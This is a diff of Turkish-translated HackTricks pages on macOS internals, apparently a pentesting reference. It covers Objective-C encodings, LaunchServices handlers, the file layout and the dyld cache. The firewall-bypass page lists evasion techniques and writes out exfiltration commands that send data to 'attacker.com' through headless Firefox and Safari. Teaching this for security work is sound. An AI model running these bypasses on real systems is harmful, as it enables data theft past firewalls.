* `char *` `*` olarak kodlanır
Yöntemin tam tür kodlaması:
```less
@24@0:8@16*20^@24
```
#### Detaylııklama
1. **Dönüş Türü (`NSString *`)**: `@` olarak kodlanmış, uzunluğu 24
2. **`self` (nesne örneği)**: `@` olarak kodlanmış, ofset 0'da
3. **`_cmd` (seçici)**: `:` olarak kodlanmış, ofset 8'de
4. **İlk argüman (`char * input`)**: `*` olarak kodlanmış, ofset 16'da
5. **İkinci argüman (`NSDictionary * options`)**: `@` olarak kodlanmış, ofset 20'de
6. **Üçüncü argüman (`NSError ** error`)**: `^@` olarak kodlanmış, ofset 24'te
**Seçici + kodlama ile yöntemi yeniden oluşturabilirsiniz.**
### **Sınıflar**
Objective-C'deki sınıflar, özellikler, yöntem işaretçileri olan bir yapıdır. `objc_class` yapısını [**kaynak kodunda**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) bulmak mümkündür:
```objectivec
struct objc_class : objc_object {
// Class ISA;
Class superclass;
cache_t cache; // formerly cache pointer and vtable
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
class_rw_t *data() {
return bits.data();
}
void setData(class_rw_t *newData) {
bits.setData(newData);
}
void setInfo(uint32_t set) {
assert(isFuture() || isRealized());
data()->setFlags(set);
}
[...]
```
Bu sınıf, sınıf hakkında bazı bilgileri göstermek için isa alanının bazı bitlerini kullanır.
Daha sonra, struct, sınıfın adını, temel yöntemleri, özellikleri ve örnek değişkenleri gibi sınıfın özelliklerini içeren diske kaydedilmiş `class_ro_t` yapısına bir işaretçi içerir.\
Çalışma zamanında, değiştirilebilen yöntemler, protokoller, özellikler gibi işaretçiler içeren ek bir yapı olan `class_rw_t` kullanılır...

View file

@ -1,38 +1,39 @@
# macOS Güvenlik Duvarlarını Atlatma
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Bulunan Teknikler
Aşağıdaki teknikler bazı macOS güvenlik duvarı uygulamalarında çalışırken bulundu.
Aşağıdaki teknikler bazı macOS güvenlik duvarı uygulamalarında çalışır bulunmuştur.
### Beyaz liste adlarını kötüye kullanma
* Örneğin, zararlı yazılımı **`launchd`** gibi iyi bilinen macOS işlemleri adlarıyla çağırmak
* Örneğin, zararlı yazılımı **`launchd`** gibi iyi bilinen macOS işlemleri adlarıyla çağırma
### Sentetik Tıklama
* Güvenlik duvarı kullanıcıdan izin istediğinde zararlı yazılımın **izin ver'e tıklamasını sağlamak**
* Güvenlik duvarı kullanıcıdan izin istediğinde zararlı yazılımın **izin ver** düğmesine tıklamasını sağlama
### **Apple imzalı ikilileri kullanma**
### **Apple imzalı ikilileri Kullanma**
* **`curl`** gibi, ayrıca **`whois`** gibi diğerleri
### Tanınmış apple alan adları
### İyi bilinen apple alan adları
Güvenlik duvarı, **`apple.com`** veya **`icloud.com`** gibi iyi bilinen apple alan adlarına bağlantıları izin veriyor olabilir. Ve iCloud bir C2 olarak kullanılabilir.
Güvenlik duvarı, **`apple.com`** veya **`icloud.com`** gibi iyi bilinen apple alan adlarına bağlantılara izin veriyor olabilir. Ve iCloud bir C2 olarak kullanılabilir.
### Genel Atlatma
@ -46,7 +47,7 @@ lsof -i TCP -sTCP:ESTABLISHED
```
### DNS Kötüye Kullanımı
DNS çözümlemeleri muhtemelen DNS sunucularına erişime izin verilecek olan **`mdnsreponder`** imzalı uygulama aracılığıyla yapılır.
DNS çözümlemeleri, muhtemelen DNS sunucularına erişime izin verilecek olan **`mdnsreponder`** imzalı uygulama aracılığıyla yapılır.
<figure><img src="../../.gitbook/assets/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
@ -77,7 +78,7 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### İşlem enjeksiyonu yoluyla
### İşlem enjeksiyonu aracılığıyla
Eğer **bir işleme kod enjekte edebilirseniz** ve bu işlem herhangi bir sunucuya bağlanmaya izin veriliyorsa, güvenlik duvarı korumalarını atlayabilirsiniz:
@ -89,16 +90,17 @@ Eğer **bir işleme kod enjekte edebilirseniz** ve bu işlem herhangi bir sunucu
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# macOS Dosya Uzantısı ve URL şema uygulama işleyicileri
# macOS Dosya Uzantısı ve URL şeması uygulama işleyicileri
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya **bizi takip edin** **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## LaunchServices Veritabanı
Bu, macOS'ta yüklü olan tüm uygulamaların bulunduğu bir veritabanıdır ve her yüklü uygulama hakkında bilgi almak için sorgulanabilir, örneğin desteklediği URL şemaları ve MIME türleri.
Bu, macOS'ta yüklü olan tüm uygulamaların bir veritabanıdır ve her yüklü uygulama hakkında URL şemaları ve MIME türleri gibi bilgileri almak için sorgulanabilir.
Bu veritabanını şu şekilde dökümleyebilirsiniz:
@ -28,13 +29,13 @@ Bu veritabanını şu şekilde dökümleyebilirsiniz:
Veya [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) aracını kullanarak.
**`/usr/libexec/lsd`**, veritabanının beynidir. `.lsd.installation`, `.lsd.open`, `.lsd.openurl` gibi **birkaç XPC hizmeti** sağlar. Ancak ayrıca uygulamaların `.launchservices.changedefaulthandler` veya `.launchservices.changeurlschemehandler` gibi açığa çıkarılan XPC işlevlerini kullanabilmek için bazı **yetkilendirmelere** ihtiyaç duyar, mime türleri veya url şemaları için varsayılan uygulamaları değiştirmek ve diğer işlevler.
**`/usr/libexec/lsd`**, veritabanının beynidir. `.lsd.installation`, `.lsd.open`, `.lsd.openurl` gibi **birkaç XPC hizmeti** sağlar. Ancak ayrıca uygulamaların `.launchservices.changedefaulthandler` veya `.launchservices.changeurlschemehandler` gibi açığa çıkarılan XPC işlevlerini kullanabilmek için **bazı yetkilendirmelere** ihtiyaç duyar, mime türleri veya url şemaları için varsayılan uygulamaları değiştirmek ve diğerleri.
**`/System/Library/CoreServices/launchservicesd`**, `com.apple.coreservices.launchservicesd` hizmetini iddia eder ve çalışan uygulamalar hakkında bilgi almak için sorgulanabilir. Sistem aracı /**`usr/bin/lsappinfo`** veya [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) ile sorgulanabilir.
## Dosya Uzantısı ve URL şeması uygulama işleyicileri
Aşağıdaki satır, uzantıya bağlı olarak dosyaları açabilen uygulamaları bulmak için faydalı olabilir:
Aşağıdaki satır, uzantıya bağlı olarak dosyaları açabilen uygulamaları bulmak için yararlı olabilir:
{% code overflow="wrap" %}
```bash
@ -49,7 +50,7 @@ Veya [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps) gib
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
Ayrıca, bir uygulamanın desteklediği uzantıları kontrol edebilirsiniz:
Uygulamanın desteklediği uzantıları kontrol etmek için aşağıdaki adımı uygulayabilirsiniz:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
@ -81,16 +82,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>xbl</string>
<string>svg</string>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS Dosyaları, Klasörleri, İkili Dosyalar ve Bellek
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Dosya hiyerarşisi düzeni
@ -21,27 +22,27 @@ HackTricks'ı desteklemenin diğer yolları:
* **/cores**: Var ise, çekirdek dökümlerini depolamak için kullanılır
* **/dev**: Her şey bir dosya olarak işlendiği için burada donanım cihazları bulunabilir.
* **/etc**: Yapılandırma dosyaları
* **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Bir Library klasörü kökte ve her kullanıcının dizininde bulunur.
* **/private**: Belgelenmemiş ancak bahsedilen birçok klasörün özel dizinine sembolik bağlantılar bulunabilir.
* **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Bir Library klasörü kök dizinde ve her kullanıcının dizininde bulunur.
* **/private**: Belgelenmemiş ancak bahsedilen birçok klasör özel dizinine sembolik bağlantılardır.
* **/sbin**: Temel sistem ikilileri (yönetimle ilgili)
* **/System**: OS X'in çalışmasını sağlayan dosya. Burada genellikle yalnızca Apple'a özgü dosyalar bulunmalıdır (üçüncü taraf değil).
* **/System**: OS X'in çalışmasını sağlayan dosya. Burada genellikle yalnızca Apple'a özgü dosyalar bulmalısınız (üçüncü taraf değil).
* **/tmp**: Dosyalar 3 gün sonra silinir (bu, /private/tmp'ye bir sembolik bağlantıdır)
* **/Users**: Kullanıcıların ev dizini.
* **/Users**: Kullanıcıların ana dizini.
* **/usr**: Yapılandırma ve sistem ikilileri
* **/var**: Günlük dosyaları
* **/Volumes**: Bağlanan sürücüler burada görünecektir.
* **/.vol**: `stat a.txt` komutunu çalıştırarak `16777223 7545753 -rw-r--r-- 1 kullanıcı adı tekerlek ...` gibi bir şey elde edersiniz, burada ilk sayı dosyanın bulunduğu birim numarası ve ikinci sayı inode numarasıdır. Bu bilgiyi kullanarak bu dosyanın içeriğine /.vol/ üzerinden erişebilirsiniz, `cat /.vol/16777223/7545753` komutunu çalıştırarak.
* **/.vol**: `stat a.txt` komutunu çalıştırarak `16777223 7545753 -rw-r--r-- 1 kullanıcıadı wheel ...` gibi bir şey elde edersiniz, burada ilk sayı dosyanın bulunduğu birim numarası ve ikinci sayı inode numarasıdır. Bu bilgiyi kullanarak bu dosyanın içeriğine /.vol/ üzerinden erişebilirsiniz, `cat /.vol/16777223/7545753` komutunu çalıştırarak.
### Uygulamaların Klasörleri
* **Sistem uygulamaları**, `/System/Applications` altında bulunur
* **Yüklü** uygulamalar genellikle `/Applications` veya `~/Applications` içinde yüklenir
* **Sistem uygulamaları**, `/System/Applications` altında bulunur.
* **Yüklü** uygulamalar genellikle `/Applications` veya `~/Applications` içinde yüklenir.
* **Uygulama verileri**, kök olarak çalışan uygulamalar için `/Library/Application Support` ve kullanıcı olarak çalışan uygulamalar için `~/Library/Application Support` içinde bulunabilir.
* **Root olarak çalışması gereken üçüncü taraf uygulama** **daemonları**, genellikle `/Library/PrivilegedHelperTools/` içinde bulunur
* **Root olarak çalışması gereken üçüncü taraf uygulama hizmetleri**, genellikle `/Library/PrivilegedHelperTools/` içinde bulunur.
* **Kumlanmış** uygulamalar, `~/Library/Containers` klasörüne eşlenir. Her uygulamanın, uygulamanın paket kimliğine (`com.apple.Safari`) göre adlandırılmış bir klasörü vardır.
* **Çekirdek**, `/System/Library/Kernels/kernel` içinde bulunur
* **Apple'ın çekirdek uzantıları**, `/System/Library/Extensions` içinde bulunur
* **Üçüncü taraf çekirdek uzantıları**, `/Library/Extensions` içinde saklanır
* **Çekirdek**, `/System/Library/Kernels/kernel` içinde bulunur.
* **Apple'ın çekirdek uzantıları**, `/System/Library/Extensions` içinde bulunur.
* **Üçüncü taraf çekirdek uzantıları**, `/Library/Extensions` içinde saklanır.
### Hassas Bilgiler İçeren Dosyalar
@ -59,7 +60,7 @@ MacOS, şifreler gibi bilgileri çeşitli yerlerde saklar:
## OS X Özel Uzantılar
* **`.dmg`**: Apple Disk İmaj dosyaları sıkça yükleyiciler için kullanılır.
* **`.dmg`**: Apple Disk Image dosyaları sıkça kullanılır.
* **`.kext`**: Belirli bir yapıyı takip etmelidir ve sürücünün OS X sürümüdür. (bir paket)
* **`.plist`**: XML veya ikili biçimde bilgi saklayan özellik listesi olarak da bilinir.
* XML veya ikili olabilir. İkili olanlar şu şekilde okunabilir:
@ -70,16 +71,16 @@ MacOS, şifreler gibi bilgileri çeşitli yerlerde saklar:
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
* **`.app`**: Dizin yapısını takip eden Apple uygulamaları (bir paket).
* **`.dylib`**: Dinamik kütüphaneler (Windows DLL dosyaları gibi)
* **`.pkg`**: xar (Genişletilebilir Arşiv biçimi) ile aynıdır. Bu dosyaların içeriğini yüklemek için installer komutu kullanılabilir.
* **`.DS_Store`**: Her dizinde bulunan bu dosya, dizinin özelliklerini ve özelleştirmelerini kaydeder.
* **`.Spotlight-V100`**: Bu klasör, sistemdeki her bir birimin kök dizininde görünür.
* **`.pkg`**: xar (Genişletilebilir Arşiv biçimi) ile aynıdır. İçeriğini yüklemek için installer komutu kullanılabilir.
* **`.DS_Store`**: Bu dosya her dizinde bulunur, dizinin özelliklerini ve özelleştirmelerini kaydeder.
* **`.Spotlight-V100`**: Bu klasör, sistemdeki her birim kök dizininde görünür.
* **`.metadata_never_index`**: Bu dosya bir birimin kökünde bulunursa Spotlight o birimi dizine eklemeyecektir.
* **`.noindex`**: Bu uzantıya sahip dosya ve klasörler Spotlight tarafından dizine eklenmeyecektir.
* **`.sdef`**: Bir uygulamayla AppleScript'ten nasıl etkileşim kurulabileceğini belirten paketler içindeki dosyalar.
### macOS Paketleri
Bir paket, Finder'da bir nesneye benzeyen bir **dizin**dir (Bir Paket örneği `*.app` dosyalarıdır).
Bir paket, Finder'da bir nesne gibi görünen bir **dizin**dir (Bir Paket örneği `*.app` dosyalarıdır).
{% content-ref url="macos-bundles.md" %}
[macos-bundles.md](macos-bundles.md)
@ -87,14 +88,12 @@ Bir paket, Finder'da bir nesneye benzeyen bir **dizin**dir (Bir Paket örneği `
## Dyld Paylaşılan Kütüphane Önbelleği (SLC)
MacOS'ta (ve iOS'ta) tüm sistem paylaşılan kütüphaneler, çerçeveler ve dylib'ler gibi, **dyld paylaşılan önbelleğe** adı verilen tek bir dosyada birleştirilir. Bu, kodun daha hızlı yüklenebilmesi nedeniyle performansı artırır.
MacOS'ta (ve iOS'ta) tüm sistem paylaşılan kütüphaneleri, çerçeveler ve dylib'ler gibi, **dyld paylaşılan önbelleğe** tek bir dosyada birleştirilir. Bu, kodun daha hızlı yüklenebilmesi nedeniyle performansı artırır.
Bu, macOS'ta `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` içinde bulunur ve eski sürümlerde **paylaşılan önbelleği** **`/System/Library/dyld/`** içinde bulabilirsiniz.\
iOS'ta bunları **`/System/Library/Caches/com.apple.dyld/`** içinde bulabilirsiniz.
Dyld paylaşılan önbelleğe benzer şekilde, çekirdek ve çekirdek uzantıları da bir çekirdek önbelleğine derlenir ve önyükleme sırasında yüklenir.
Tek dosyadan kütüphaneleri çıkarmak için kullanılabilecek [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) adlı ikili dosya eskide çalışmayabilir ancak [**dyldextractor**](https://github.com/arandomdev/dyldextractor) kullanabilirsiniz:
Dyld paylaşılan önbelleğinden kütüphaneleri çıkarmak için kullanılabilecek ikili [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) olabilir, ancak günümüzde çalışmayabilir, bu nedenle [**dyldextractor**](https://github.com/arandomdev/dyldextractor) kullanabilirsiniz:
{% code overflow="wrap" %}
```bash
@ -109,46 +108,46 @@ dyldex_all [dyld_shared_cache_path] # Extract all
{% endcode %}
{% hint style="success" %}
Not edin ki `dyld_shared_cache_util` aracı çalışmasa bile, **paylaşılan dyld binary'sini Hopper'a geçirebilir** ve Hopper tüm kütüphaneleri tanımlayabilir ve incelemek istediğiniz **hangisini seçmek istediğinizi** size bırakacaktır:
`dyld_shared_cache_util` aracının çalışmaması durumunda bile, **paylaşılan dyld ikilisini Hopper'a geçirebilir** ve Hopper tüm kütüphaneleri tanımlayabilir ve incelemek istediğiniz **hangi kütüphaneyi seçmek istediğinizi belirlemenize olanak tanır**:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
Bazı çıkartıcılar çalışmayabilir çünkü dylib'ler sabit adreslerle önceden bağlantılı olduğundan bilinmeyen adreslere atlayabilirler.
Bazı çıkartıcılar, dylib'lerin sabit adreslerle önceden bağlantılı olduğu için çalışmayabilir, bu nedenle bilinmeyen adreslere atlayabilirler.
{% hint style="success" %}
Başka \*OS cihazlarının Paylaşılan Kütüphane Önbelleğini Xcode'da bir emülatör kullanarak macOS'ta indirmek de mümkündür. Bunlar şuraya indirilecektir: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, gibi:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
Başka bir \*OS cihazının Paylaşılan Kütüphane Önbelleğini Xcode'da bir emülatör kullanarak macOS'ta indirmek de mümkündür. Bunlar şuraya indirilecektir: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, örneğin:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
{% endhint %}
### SLC Haritalama
**`dyld`**, SLC'nin eşlenip eşlenmediğini bilmek için **`shared_region_check_np`** sistem çağrısını kullanır (adresi döndürür) ve SLC'yi eşlemek için **`shared_region_map_and_slide_np`**'yi kullanır.
**`dyld`**, SLC'nin eşlenip eşlenmediğini bilmek için **`shared_region_check_np`** sistem çağrısını kullanır (adresi döndürür) ve SLC'yi eşlerken **`shared_region_map_and_slide_np`** sistem çağrısını kullanır.
SLC ilk kullanımda kaydırılsa bile, tüm **işlemler** aynı kopyayı kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR** korumasını ortadan kaldırır. Bu aslında geçmişte istismar edilmiş ve paylaşılan bölge sayfa belleği ile düzeltilmiştir.
SLC ilk kullanımda kaydırılsa bile, **tüm işlemler** aynı kopyayı kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR korumasını ortadan kaldırır**. Bu aslında geçmişte istismar edilmiş ve paylaşılan bölge sayfa belleği ile düzeltilmiştir.
Dal havuzları, görüntü eşlemeleri arasında küçük boşluklar oluşturan küçük Mach-O dylib'leridir, bu da işlevleri araya girmeyi imkansız hale getirir.
